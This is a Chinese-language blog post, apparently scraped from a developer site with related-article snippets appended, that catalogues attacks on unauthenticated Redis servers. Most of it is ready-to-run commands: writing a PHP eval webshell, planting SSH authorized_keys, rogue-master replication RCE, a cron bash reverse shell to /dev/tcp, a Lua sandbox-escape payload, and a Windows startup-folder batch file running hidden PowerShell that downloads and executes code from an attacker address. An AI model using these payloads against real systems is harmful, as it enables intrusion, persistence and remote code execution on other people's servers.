Redis的攻击手法
目录
Redis概述
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库,并提供多种语言的 API。
Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。
Redis未授权
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
漏洞发现
漏洞发现就是查看IP是否开启6379端口。
FOFA语句
port="6379" && protocol="redis"

漏洞验证
使用redis管理工具 点击下载

Redis写shell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
漏洞利用
写入文件
config set dir /var/www/html/
config set dbfilename test.php
set xxx "\r\n\r\<?php @eval($_POST['test']);?>\r\n\r\"
//这里的\r\n\r\代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
save


Redis写公钥
前提条件
- 开启ssh服务,并且可以连接
- 运行Redis的用户为root用户
漏洞利用
首先生成ssh-rsa密钥
ssh-keygen -t rsa

把公钥导入key.txt,前后添加\n\n防止写入的公钥乱码导致不可用
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

将生成的公钥写入Redis服务器的内存之中
cat key.txt | redis-cli -h 127.0.0.1 -p 6379 -x set xxx

设置路径和保存的文件名,将内存变量导入磁盘文件
redis-cli -h 127.0.0.1 -p 6379 //连接Redis
config set dir /root/.ssh/ //把目录设为/root/.ssh/
config get dir //查看目录
config set dbfilename "authorized_keys" //文件名设置为authorized_keys
save //保存

使用ssh连接
ssh root@172.20.10.3 -p 22 -i /root/.ssh/id_rsa

主从复制RCE
漏洞简介:
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower) ; 数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
漏洞利用
网上公开的几个利用脚本,选择哪个都行
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
https://github.com/Ridter/redis-rce
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
我使用redis-rogue-server来复现
使用教程:
-h, --help 显示此帮助信息并退出
--rhost=REMOTE_HOST 目标主机
--rport=REMOTE_PORT 目标redis端口,默认6379
--lhost=LOCAL_HOST 攻击服务器 ip
--lport=LOCAL_PORT 攻击服务器监听端口,默认21000
--exp=EXP_FILE 要加载的 Redis 模块,默认为 exp.so
-v, --verbose 显示完整的数据流
首先下载脚本,编译so文件

交互式的shell
./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1

反弹shell

计划任务反弹shell
利用条件:
- 仅限centos
漏洞利用
set xx "\n* * * * * bash -i >& /dev/tcp/127.0.0.1/6336 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
//大约等待一分钟就能收到shell

Redis Lua沙盒绕过命令执行
漏洞介绍:
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本1的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
利用条件:
- Ubuntu系统
利用方式:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

Redis在Windows下利用方式
介绍:
Redis 官方不建议在 windows 下使用 Redis,所以官网没有 windows 版本可以下载。微软团队维护开源 windows 版本只有3.X的,所以适用用Linux的写公钥和主从复制不适合Windows系统的。
写webshell
前提条件
- 已知web目录的路径
- 具有系统超级管理员权限
写入文件(跟Linux的操作相同)
config set dir C:\phpstudy_pro\WWW\
config set dbfilename test.php
set xxx "<?php @eval($_POST['test']);?>"
save

写启动项
写入到启动项的缺点就是我们需要使对方电脑重启才能上线木马
启动项路径
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
//用户路径需要去猜测,把常见的系统用户名尝试一下(admin、Administrator、test、user、guest、guanli..等等)
由于我们写入的文件存在一些版本信息等垃圾数据,所以我们写入一个bat下载运行木马即可,可以用cs简单实现。

把生成的powershell脚本写入到bat文件
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))"
Redis写入脚本
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename 1.bat
set xxx "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.10.5:80/a'))\"\r\n\r\n"
save
重启电脑即可上线


写入无损文件
原理:
利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,这里master的数据空间是可以保证绝对干净的,因此就轻松实现了写无损文件了
利用脚本
使用方法:
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]


成功写入
还有一些其他方式,比如03系统可以写入mof文件,可以写入dll进行劫持,以后有空在更吧。
参考
https://www.freebuf.com/articles/web/289231.html
https://www.freebuf.com/articles/web/256655.html
https://xz.aliyun.com/t/7940#toc-1
https://nosec.org/home/detail/4464.html
Redis的攻击手法的更多相关文章
- 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法
360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...
- Redis的一些攻击手法整理
Redis基础 1 Redis基础 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开 ...
- Java 7爆最新漏洞,10年前的攻击手法仍有效
英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...
- RDPInception攻击手法
在讲RDPInception攻击手段之前,我们先了解一下RDP远程桌面(Remote Desktop Protocol)协议.RDP远程桌面协议(Remote Desktop Protocol)是一个 ...
- redis漏洞攻击
参考: https://www.cnblogs.com/kobexffx/p/11000337.html 利用redis漏洞获得root权限,挖矿. 解决方法: 用普通帐号启redis,用云的redi ...
- 【漏洞复现】永恒之蓝 ms17-010 漏洞利用 攻击手法
日期:2018-07-21 21:09:16 介绍:永恒之蓝利用的 ms17-010 漏洞,拿 Shell.查看文件.获取密码. 0x01.实验环境 攻击机 系统:macOS Sierra 10.12 ...
- 二十五:XSS跨站值原理分类及攻击手法
HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...
- 对一次 redis 未授权写入攻击的分析以及学习
前段时间自己使用 redis 开发的时候,搞了一个 docker ,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫到然后给我种马,但是把因为也是测试服务,其实也没怎么上心,于是就放任自由了,结 ...
- redis 五种常见攻击方法
如果需要大佬写好的脚本,可以直接去github上面搜 参考文章:https://www.cnblogs.com/wineme/articles/11731612.html https://www ...
- Redis配置及攻击利用
Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
随机推荐
- Paperask一键获取A币
又到了毕业季,查论文是一件很头疼的事情,网上免费查重检测力度又很一般┑( ̄Д  ̄)┍ 因为一次偶然同学推荐了解到这个网站,只要做新手任务就能得到很多积分,再进行抽奖就可以得到A币或者是至尊券可以免费使 ...
- Linux 定时器介绍
以下内容为本人的著作,如需要转载,请声明原文链接微信公众号「englyf」https://www.cnblogs.com/englyf/p/16651865.html 曾经常去沙县小吃,就为了蹭上一碗 ...
- git hooks在业务中的使用
起因 最近公司项目发生了一起线上事故,最后排查下来是配置文件的问题.项目里application.yml文件内会用@build.time@记录打包时的时间,但是这个写法是build-helper-ma ...
- JavaWeb核心篇(3)——JSP,MVC,三层架构
JavaWeb核心篇(3)--JSP,MVC,三层架构 在本篇文章中我们会学习到JSP,MVC,三层架构 虽然JSP已经快被时代所淘汰,但是在一些老旧的工作场所还是有在使用,所以了解一下也不为过 至于 ...
- 采云端&采云链:从订单协同到采购供应链,让采购供应链互联互通
采购供应链安全从来没有像现在这样显得如此重要和紧迫,也从来没有像现在这样复杂和敏感,对企业的经营产生决定性的影响.尤其在疫情期间,采购供应链更加牵一发而动全身,成为"运筹帷幄,决胜于千里之外 ...
- Openstack neutron:目录
为什么? 最近一直在学习SDN方面的知识,本着"最好的学习就是分享"的精神,记录下本系列的文章,尝试更好地去理解SDN这一正当红的技术. 如何? SDN领域现在已经充斥了大量的公司 ...
- Flink基础概念入门
Flink 概述 什么是 Flink Apache Apache Flink 是一个开源的流处理框架,应用于分布式.高性能.高可用的数据流应用程序.可以处理有限数据流和无限数据,即能够处理有边界和无边 ...
- Python数据科学手册-机器学习: 主成分分析
PCA principal component analysis 主成分分析是一个快速灵活的数据降维无监督方法, 可视化一个包含200个数据点的二维数据集 x 和 y有线性关系,无监督学习希望探索x值 ...
- Python数据科学手册-Pandas数据处理之简介
Pandas是在Numpy基础上建立的新程序库,提供了一种高效的DataFrame数据结构 本质是带行标签 和 列标签.支持相同类型数据和缺失值的 多维数组 增强版的Numpy结构化数组 行和列不在只 ...
- MySQL 中 datetime 和 timestamp 的区别与选择
MySQL 中常用的两种时间储存类型分别是datetime和 timestamp.如何在它们之间选择是建表时必要的考虑.下面就谈谈他们的区别和怎么选择. 1 区别 1.1 占用空间 类型 占据字节 表 ...